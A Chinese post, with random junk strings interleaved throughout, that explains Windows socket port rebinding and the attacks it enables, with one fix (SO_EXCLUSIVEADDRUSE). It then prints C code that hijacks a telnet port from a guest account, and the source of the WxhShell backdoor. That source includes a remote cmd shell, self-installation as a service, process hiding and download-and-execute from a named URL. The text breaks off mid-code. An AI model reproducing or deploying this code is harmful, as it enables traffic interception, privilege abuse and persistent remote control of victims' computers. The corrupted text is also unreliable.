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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7VWy1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [X8EfU} acQHqR saddr.sin_family = AF_INET; [nrD4 bw+IH-b saddr.sin_addr.s_addr = htonl(INADDR_ANY); oL<5hN*D `>)pqI%L[g bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P:3o}CB1I N%1nii 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AR&l9R[{N hJz]N$@W 这意味着什么?意味着可以进行如下的攻击: O'3/21)|y (NJ.\m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BW`;QF< ]#G1
]U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2t45/:, &!M6{O=~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zqZ/z>Gf i*A_Po 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 {SRD\&J[ "QD>:G;u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s'IB{lJ9 !67xN?b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sb?!U"v.' C',uY7}< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +RkXe;q L 7LUy$M-< #include 'Z#>K* #include EVA&By6_k #include wByTNA7 #include g@Y]$ey%A DWORD WINAPI ClientThread(LPVOID lpParam); *!3qO^b? int main() qG g2 9 { }"v#_vJfz7 WORD wVersionRequested; EV-# E DWORD ret; :QXKG8^ WSADATA wsaData; zvdIwV&oT BOOL val; W%o! m,zFM SOCKADDR_IN saddr; (*V!V3E3# SOCKADDR_IN scaddr; PpF`0w=1%l int err; L&uPNcZ`- SOCKET s; <JvYCWX` SOCKET sc; fRkx ^u
P int caddsize; [
<k&]Kv HANDLE mt; :
Cli8# DWORD tid; A6 wVersionRequested = MAKEWORD( 2, 2 ); mC?}:WM@ err = WSAStartup( wVersionRequested, &wsaData ); Y@T$O<* if ( err != 0 ) { +~M.VsX printf("error!WSAStartup failed!\n"); $Q,]2/o6n return -1; 5Kk}sxol } (|3?wX'2U saddr.sin_family = AF_INET; F5M|QX@- #yEkd2Vy{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K5??WB63B
K2V?[O# saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U#XW}T=| saddr.sin_port = htons(23); Ke~!1S8= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |W&K@g$ { _.%g'=14f printf("error!socket failed!\n"); D}-HWJQA3 return -1; t~!ag#3['. } */$] kE val = TRUE; tq=M 9c //SO_REUSEADDR选项就是可以实现端口重绑定的 54RexB o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A.r.tf}: { ]@ Vp:RGMr printf("error!setsockopt failed!\n"); 57;(
P return -1; ~L>&p } ft iAty0n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k RSY;V //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qP=a:R- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rm|,+{ yWr&G@>G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n:H
|=SF{ { XSx'@ qH ret=GetLastError(); 5p3:8G7 printf("error!bind failed!\n"); 9,"gXsvx( return -1; &hZ6CV{ } 2&AX_#P listen(s,2); pNu?DF{
3 while(1) ?3v-ppw% { ZOx;]D"s caddsize = sizeof(scaddr); j2 >WHh //接受连接请求 \D#+0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'l-VWqR- if(sc!=INVALID_SOCKET) tM;+U { jX t5.9 t mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t6)R37 if(mt==NULL) I6S>*V { R m2M printf("Thread Creat Failed!\n"); F^=y+}]= break; .l,NmF9 } -}8r1jQH; } ^{E_fQJX CloseHandle(mt); X'2%'z< } Dd$8{~h"G closesocket(s); V9
EC@) WSACleanup(); 5yroi@KT return 0; -,$:^4 } T+!0`~` DWORD WINAPI ClientThread(LPVOID lpParam) Z_T~2t { &Mz.i,Gh SOCKET ss = (SOCKET)lpParam; ZCfd<NS? SOCKET sc; -^rdB6O6j unsigned char buf[4096]; D2\Ep L/ SOCKADDR_IN saddr; oV~S4|9: long num; 8yuTT^ DWORD val; B{V(g"dM DWORD ret; T7M];@q //如果是隐藏端口应用的话,可以在此处加一些判断 u:^9ZQ+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Y@b|/+ saddr.sin_family = AF_INET; a]I~.$G
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~BXy)IB6 saddr.sin_port = htons(23); j~hvPlho if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >vuR:4B { ]:4\rBR3 printf("error!socket failed!\n"); 9*CRMkPrd return -1; 2W63/kRbU } o;pJjC] val = 100; 48mTL+* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~jC$C2A0 { tA
K=W$r ret = GetLastError(); .5#+)] l return -1; pq]>Ep } `O?j -zR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lhF)$M { 6N.MCB^ ret = GetLastError(); Wtflw>- return -1; &tlU.Whk+ } jZqCM{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t&G #% { F[0w*i&u5 printf("error!socket connect failed!\n"); @8SA^u0 closesocket(sc); qwd
T=H closesocket(ss); //^{u[lr return -1; nTz(
{q } iDlg>UYd while(1)
NF_[q(k' { vVbS
4_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0}$R4<"{Y> //如果是嗅探内容的话,可以再此处进行内容分析和记录 j|y"Lcq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FF30VlJ num = recv(ss,buf,4096,0); <T$rvS if(num>0) f5#VU7=1F2 send(sc,buf,num,0); WAGU|t#." else if(num==0) #:[CF: break; F^7qr num = recv(sc,buf,4096,0); HgOrrewj if(num>0) L^jhr>-"; send(ss,buf,num,0); 6
$+b2&V else if(num==0) {Ytqs(`
break; oD%B'{Zs4 } ;QQ/bM&I closesocket(ss); }[ByN). closesocket(sc); h
x
hl return 0 ; sq}uq![?M } qD5)AdCGO VOrBNu +J:wAmY4 ========================================================== m2to94yh * l-F 下边附上一个代码,,WXhSHELL /Au7X'} 4,7W*mr3( ========================================================== dqw0ns.2 -KiI&Q #include "stdafx.h" Ny 7vId O29GPs #include <stdio.h> s^-o_K\*c #include <string.h> e1 P(-V #include <windows.h> >W=^>8u #include <winsock2.h> biAa& #include <winsvc.h> )<^G]ajn #include <urlmon.h> ZgL ]ex =~{W;VZt' #pragma comment (lib, "Ws2_32.lib") b@)nB #pragma comment (lib, "urlmon.lib") -o`|A767 QPp>%iE@ #define MAX_USER 100 // 最大客户端连接数 !R1OSVFp #define BUF_SOCK 200 // sock buffer kr5'a:F) #define KEY_BUFF 255 // 输入 buffer >SHW @i@f@.t #define REBOOT 0 // 重启 ci{WyIh #define SHUTDOWN 1 // 关机 G'6f6i|<I@ =-n7/ #define DEF_PORT 5000 // 监听端口 Hp-vBoEk (:ij'Zbz #define REG_LEN 16 // 注册表键长度 .jbT+hhM #define SVC_LEN 80 // NT服务名长度 5Q@4@b{C NPE7AdB8 // 从dll定义API N##-
vV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iLJBiZ+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /7yd&6`I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RV, cQ K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,L^ag&!4 j'nrdr6n // wxhshell配置信息 $ D(q struct WSCFG { XQ$9E?|= int ws_port; // 监听端口 NIxtT>[+3 char ws_passstr[REG_LEN]; // 口令 5q{
-RJ int ws_autoins; // 安装标记, 1=yes 0=no 6ragRS/'x char ws_regname[REG_LEN]; // 注册表键名 -Oc char ws_svcname[REG_LEN]; // 服务名 g9:V00^< char ws_svcdisp[SVC_LEN]; // 服务显示名 BYWs\6vK char ws_svcdesc[SVC_LEN]; // 服务描述信息 k= oCpXq^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R'p-
4 int ws_downexe; // 下载执行标记, 1=yes 0=no !yf7y/qY char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" I8{ohFFo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zr[|~- y_N h5 }; \-R\xL %pr}Xs(-f // default Wxhshell configuration _gI1@uQw
struct WSCFG wscfg={DEF_PORT, #]FJx "xuhuanlingzhe", ~X%W2N2 1,
tz`T#9 "Wxhshell", eAbp5}B "Wxhshell", =z
+iI; "WxhShell Service", uy
oEMT#u "Wrsky Windows CmdShell Service", 2, r{zJ8 "Please Input Your Password: ", @w@ `-1 1, T{mIkp< " http://www.wrsky.com/wxhshell.exe", vON1\$bu` "Wxhshell.exe" 4#2iq@s }; {.D/MdwW; 8Xk,Nbcqt // 消息定义模块 5!}fd/}Uk char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lo^gg#o char *msg_ws_prompt="\n\r? for help\n\r#>"; C9"yu&l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :ej`]yK | char *msg_ws_ext="\n\rExit."; pQ9~^ char *msg_ws_end="\n\rQuit."; g%T` 6dvT char *msg_ws_boot="\n\rReboot..."; 2)47$eu char *msg_ws_poff="\n\rShutdown..."; H"J>wIuGX char *msg_ws_down="\n\rSave to "; -%6Y&_5VK <;':'sW char *msg_ws_err="\n\rErr!"; V( SRw char *msg_ws_ok="\n\rOK!"; (ixlFGvEq t[Ywp!y[ char ExeFile[MAX_PATH]; XI58Cy*! int nUser = 0; :}p<Hq 8Z HANDLE handles[MAX_USER]; +U*:WKdI? int OsIsNt; \K(QE ~y'W }@Ou]o SERVICE_STATUS serviceStatus;
zv HeoM, SERVICE_STATUS_HANDLE hServiceStatusHandle; `]4bH,%~ |^$?9Dn9.L // 函数声明 R?H[{AX int Install(void); cy!;;bB int Uninstall(void); o`}(1$a> int DownloadFile(char *sURL, SOCKET wsh); V{yk int Boot(int flag); O>kM2xw void HideProc(void); 1OW#_4w/ int GetOsVer(void); -Gmg&yQ9 int Wxhshell(SOCKET wsl); "?#O*x void TalkWithClient(void *cs); M"|({+9eG int CmdShell(SOCKET sock); 7bC)Co#: int StartFromService(void); `CF.-Vl3J# int StartWxhshell(LPSTR lpCmdLine); 1]]#HTwX D!nx %%q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?-D'xqc VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;iTZzmB N4[^!}4 // 数据结构和表定义 Y!w {,\3 SERVICE_TABLE_ENTRY DispatchTable[] = -VO* P { z{ MO~d9 {wscfg.ws_svcname, NTServiceMain}, bbxo!K
m" {NULL, NULL} ,ou&WI yC }; .rs\%M|X Tmr%r'i3 // 自我安装 *zTEK:+_ int Install(void)
-
j_ { yy#4DYht char svExeFile[MAX_PATH]; bA8RoC HKEY key; #AUV&pI[ strcpy(svExeFile,ExeFile); Ft^+P* [ %:%C]4 // 如果是win9x系统,修改注册表设为自启动 (7J (.EG2e if(!OsIsNt) { n>aH7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `;\~$^sj} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /XZ\Yy= RegCloseKey(key); Zz@wbhMV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q"|#KT^) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZtH{2j0 RegCloseKey(key); 6;{E-y return 0; To@77.' } o=ULo &9 } Qa-~x8 ] } 5BsfbLKC else { M&~cU{9c URb // 如果是NT以上系统,安装为系统服务 x!QA* M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TU}./b@F if (schSCManager!=0) 6*tbil_G+ { c!HmZ]/ SC_HANDLE schService = CreateService h(MS>= ( m?_@.O@] schSCManager, X Cf!xIv wscfg.ws_svcname, jO6yZt wscfg.ws_svcdisp, 6 Z7J<0 SERVICE_ALL_ACCESS, gPzp/I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F|&=\Q SERVICE_AUTO_START, f%cbBx^; SERVICE_ERROR_NORMAL, 7$jO3J svExeFile, 71inHg NULL, 1H]E:Bq NULL, 19#A7 NULL, 9_I#{? NULL, 5_~QS NULL }&:F,q* ); j3yz"-53e if (schService!=0) #7yy7Y5 { ("-`Y'"K CloseServiceHandle(schService); &7m)K>E27 CloseServiceHandle(schSCManager); IWD21lS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +KKx\m* strcat(svExeFile,wscfg.ws_svcname); Sw^-@w=!U5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RRBBz7:~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xsit4Ma RegCloseKey(key); {_<,5)c return 0; -y5Zc?e } Zk#?.z} } hDc)\vzr CloseServiceHandle(schSCManager); Q]NGd 0 J } >h<bYk "9Q } @!zT+W& @E5}v return 1; UOtrq=y } jXALN LJII7<k // 自我卸载 V-
HO_GDo int Uninstall(void) d?_LNSDo { 2lm{: tS HKEY key; $bi@,&t; "=r"c$xou if(!OsIsNt) { #w:6<$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sB>ZN3ptH^ RegDeleteValue(key,wscfg.ws_regname); UZq1qn@+ RegCloseKey(key); :\+\/HTbh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dxI t.h RegDeleteValue(key,wscfg.ws_regname); GY;q0oQ, RegCloseKey(key); q|fZdTw return 0; *zR } qmJ^@dxs } )-4xI4 } ={a_?l% else { U%,N"]` wRi` L7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &QQ8ut,; if (schSCManager!=0) %:
.{?FB_ { {Z=m5Dy} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wWNHZv& if (schService!=0) ugI9rxT]Kv { aj:B+}1 if(DeleteService(schService)!=0) { "x)xjL CloseServiceHandle(schService); *1[v08?! CloseServiceHandle(schSCManager); =1}Umn|ZLS return 0; l[EjtN } 'l}T_7g CloseServiceHandle(schService); Uc3-n`C } <
<vE . CloseServiceHandle(schSCManager); uKcwVEu } {LLy4m } u{o!#_o64 dw
v(8 return 1; @!:~gQ } =+qtk(p z$>_c"D // 从指定url下载文件 =a<};X int DownloadFile(char *sURL, SOCKET wsh) p(F}[bP { rK%A=Q HRESULT hr; (,gpR4O[ char seps[]= "/"; R`F54?th char *token; 'xUyGj: char *file; |nN{XjNfP5 char myURL[MAX_PATH]; E,[@jxP char myFILE[MAX_PATH]; dT%$"sj5 DJ)z~W2I* strcpy(myURL,sURL); >h0iq token=strtok(myURL,seps); <J`",h while(token!=NULL) TRl,L5wd-? { c7[<X<yk file=token; swBgV,; token=strtok(NULL,seps); p`)GO.pz } VVd9VGvh 3]46qk' GetCurrentDirectory(MAX_PATH,myFILE); G+_Q7-o&d6 strcat(myFILE, "\\"); jDO"?@+ strcat(myFILE, file); D+nKQ4 send(wsh,myFILE,strlen(myFILE),0); ",v!geMvu send(wsh,"...",3,0); #<$pl]>}t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i?HN if(hr==S_OK) EPd9'9S return 0; %%-?~rjI else MvCB|N"qy return 1; K/flg|uZ/V w\K(kNd( } KbXENz&C r_"=DLx6 // 系统电源模块 =q\Ghqj1 int Boot(int flag) Hf$pwfGcY] { IYG,nt! HANDLE hToken; vkj Hh. TOKEN_PRIVILEGES tkp; za,JCI HV?Q{XK.b if(OsIsNt) { ZZ? KD\S5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m=4hi(g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qi;62M tkp.PrivilegeCount = 1; l-gNJ=l+K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -"CXBKHb
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n40&4n if(flag==REBOOT) { n>XfXt = if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pba`FC4R return 0; g7l?/p[n } Hob n{E else { rw }wQP_' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N51e.; return 0; NI^jQS
M] } }8LTYn } 4(D1/8 else { lzbAx if(flag==REBOOT) { c}G\F$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @Rw]boC return 0; '89nyx&W } $/FL)m8.3 else { eia>Y$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "nA~/t= return 0; BCI[jfd 7 } K[^BRn } _@D"XL#L Kt`/+k)m return 1;
'E)g )@^ } \"|7o8 O!k C // win9x进程隐藏模块 x>GxyVE void HideProc(void) w{"ro~9o { "KKw\i j2`%sBo HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5_[we1$P if ( hKernel != NULL ) J,D^fVIw { =5q_aK#i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Vy.)0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mO0}Go8 FreeLibrary(hKernel); pn p)- a*7 } +lhnc{;WJv 2rWPqG4e return; VLcwBdo } R*l3 zn> sI5S)^'IQ // 获取操作系统版本 zI$'D|A int GetOsVer(void) K)#6&\0tT { 7{Zs"d{s OSVERSIONINFO winfo; c+ukVn`r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +QA|]Y~! GetVersionEx(&winfo); V$g!#V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Cp)!Bq?/ return 1; )S^[b2P]y_ else f>[{1M]n\ return 0; [e7nW9\l } srryVqgS Ge ?Q)N // 客户端句柄模块 cuh Z_l int Wxhshell(SOCKET wsl) 2Ft#S8 { 'kHa_ SOCKET wsh; 9dFo_a*? struct sockaddr_in client; |w.h97fj DWORD myID; 3'!*/UnU TGZr
[ while(nUser<MAX_USER) )W>9{*4m { i>
dLp int nSize=sizeof(client); =}%Q}aPp wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T U^s!Tj if(wsh==INVALID_SOCKET) return 1; a,eEP43dn -Yg?@yt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [sl"\3) if(handles[nUser]==0) XblZlWP# closesocket(wsh); Xb.#
=R else tja7y"(] nUser++; Uy<n7*H } -/R?D1kOq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q6r7UM %FJB9?9=| return 0; SN;_.46k } "QmlW2ysi zYEb#*Kar // 关闭 socket GpCjoNcW{ void CloseIt(SOCKET wsh) 0Vj!'=Ntv { *0z'!m12 closesocket(wsh); {j%7/T{ nUser--; !=?Q>mz ExitThread(0); 8u"HW~~= } mW1T4rR' s lYC\"$ // 客户端请求句柄 Hm]\.ZEy void TalkWithClient(void *cs) )PvB^n { rSKZc`<^ ~8Ez K_c SOCKET wsh=(SOCKET)cs; <[V1z=Eo/] char pwd[SVC_LEN]; v\R-G char cmd[KEY_BUFF]; V1\Rj0#G char chr[1]; c3J12+~; int i,j; '
BY|7j~ oG=4&SQ while (nUser < MAX_USER) { Xj$'i/=-+c ;rC< C if(wscfg.ws_passstr) { ?pV!`vp^{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V"8w:? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V L;<+C~ //ZeroMemory(pwd,KEY_BUFF); beFD}` i=0; k;
ned while(i<SVC_LEN) { sfs2ki H >n jX=r. // 设置超时 Zn6u6<O= fd_set FdRead; HJ;!'@ struct timeval TimeOut; {GG;/Ns{f- FD_ZERO(&FdRead); JeU1r-i FD_SET(wsh,&FdRead); ZG1 {"J/z TimeOut.tv_sec=8; (V#*}eGy TimeOut.tv_usec=0; |k=5`WG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s^ K:cz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y$nI9 [vuqH:Ln if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %KxL{HY pwd =chr[0]; ~ {sRK if(chr[0]==0xd || chr[0]==0xa) { 8~QEJW$ pwd=0; Zy BN o] break; /n=
%# { } _y Q* i++;
WH F>J } s2t'jIB 0ad -4 // 如果是非法用户,关闭 socket gkdd#Nrk if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GdFTKOq } n>F1G
MX ;eznONNF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qGtXReK send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F&}>2QiL (\
`knsE! while(1) { [gZd$9a S$q:hXZ#e ZeroMemory(cmd,KEY_BUFF); |I7-7d-;/ &P>wIbE // 自动支持客户端 telnet标准 j_PICv*6 j=0; OczVOb bS while(j<KEY_BUFF) { B mq7w,L. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sr)rKc cmd[j]=chr[0]; /esSM~*H if(chr[0]==0xa || chr[0]==0xd) { FyN@mX cmd[j]=0; >jjuWO3T break; ~c7}eTJd" } 45l/)=@@B j++; ,?;q$Xoi } T"Ph@I< \HFeEEKH // 下载文件 yyJ4r}TE if(strstr(cmd,"http://")) { GH2D5HVN send(wsh,msg_ws_down,strlen(msg_ws_down),0); LGq}wxq if(DownloadFile(cmd,wsh)) iivuH2/~?[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.B};;N else L 0kK' n? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rt{qbM|b& } CW>f; else { L-[<C/`;t
V2kNJwwk switch(cmd[0]) { }?xu/C g:MpN^l // 帮助 =BpX;n< case '?': { O.S(H1z<G send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $-9m8}U(Y break; Hs<vCL \ } RO, // 安装
C,:3z case 'i': { B3uv>\ if(Install()) {'8a'9\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRsG$)B else DWDL|4
og send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gc}d#oo*k break; U]Q2EL\%
} ;1K[N0xE // 卸载 6JBE=9d-Q case 'r': { :WejY`}H% if(Uninstall()) ='<0z?Af send(wsh,msg_ws_err,strlen(msg_ws_err),0); rz0~W6 U else /m%Y.:g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M \rW break; S*<+vIo } ).e_iE[& // 显示 wxhshell 所在路径 $Kn{x!,"( case 'p': { ^%tmHDNL. char svExeFile[MAX_PATH]; +x$GwX strcpy(svExeFile,"\n\r"); ;@xSJqT strcat(svExeFile,ExeFile); t=\y|Idc send(wsh,svExeFile,strlen(svExeFile),0); '=}F}[d"kk break; ;2-%IA, } R@Ch3l@ // 重启 ,;9byb case 'b': { IF-g % send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~LqjWU if(Boot(REBOOT)) BMMWP send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4sOo>.<x else { bC{1LY0 closesocket(wsh); eCHT)35u ExitThread(0); W,'30:#Fr7 } Ao>] ~r0 break; cC@B\Q } !*#2~$: // 关机 4,kdP)Md$ case 'd': { @X\-c2= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $A"C1)d; if(Boot(SHUTDOWN)) ;s
m )f send(wsh,msg_ws_err,strlen(msg_ws_err),0); O3H dPQ else { $< &N# closesocket(wsh); `rEu8u ExitThread(0); ^p3"_;p)h } e%_2n=p~)% break; stn/ } d'Cn] < // 获取shell +zMWIG case 's': { hfzmv~* CmdShell(wsh); >6xZF'4 closesocket(wsh); 'a8{YT4 ExitThread(0); mOm_a9ML break; #w_cos[I } "_!D
b&AH // 退出 -DWyKR= j" case 'x': { ^lADq'] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w<}kY|A"=- CloseIt(wsh); \C<|yD break; ?4 p\ujc } @ Gxnrh6 // 离开 A{3VTe4TV case 'q': { -.XICKz send(wsh,msg_ws_end,strlen(msg_ws_end),0); [1Cs closesocket(wsh); 3QNu7oo WSACleanup(); |]s/NNU exit(1); ,|:TML break; %+BiN)R*x } 8n_!WDD } |%p;4b } fjD/<`}v \9r1JP0 // 提示信息 `XT8}9z! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dY|~"6d) } zn!H&!8& } >ucVrLm,X _c[Bjip return; \PHbJN:BI } Q7V*~{ &`]Lg?J // shell模块句柄 x}\_o< d int CmdShell(SOCKET sock) TU-aL { yiourR)H< STARTUPINFO si; c:[z({` ZeroMemory(&si,sizeof(si)); 0#$<2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~f:y^`+Q[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,drbj.0- PROCESS_INFORMATION ProcessInfo; ^a ,Oi% char cmdline[]="cmd"; 2kG(\+\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kfb*| return 0; */8b)I}yY } `=}w(V8pc $9~6M* // 自身启动模式 397IbZ\ int StartFromService(void) roiUVisq* { Hj\iI p typedef struct yUUg8xbpxF { CP5vo-/)- DWORD ExitStatus; __B`0t DWORD PebBaseAddress; aRt`IcZYz DWORD AffinityMask; !PAuMj)P DWORD BasePriority; `]u!4pP" ULONG UniqueProcessId; seNJ6p=` ULONG InheritedFromUniqueProcessId; pUp&eH } PROCESS_BASIC_INFORMATION; G@.TE7a2Z h vC gd^M PROCNTQSIP NtQueryInformationProcess; W{)RJ1 +mgm39 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k'(d$;Jgr static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t9C.|6X W`vgH/lSnZ HANDLE hProcess; %I`%N2ss PROCESS_BASIC_INFORMATION pbi; sYMgi D >14x.c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OrG1Mfx&2% if(NULL == hInst ) return 0; $;k2b4u t_Q\uo} g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b23 5Zm g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d?9 b6k? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), 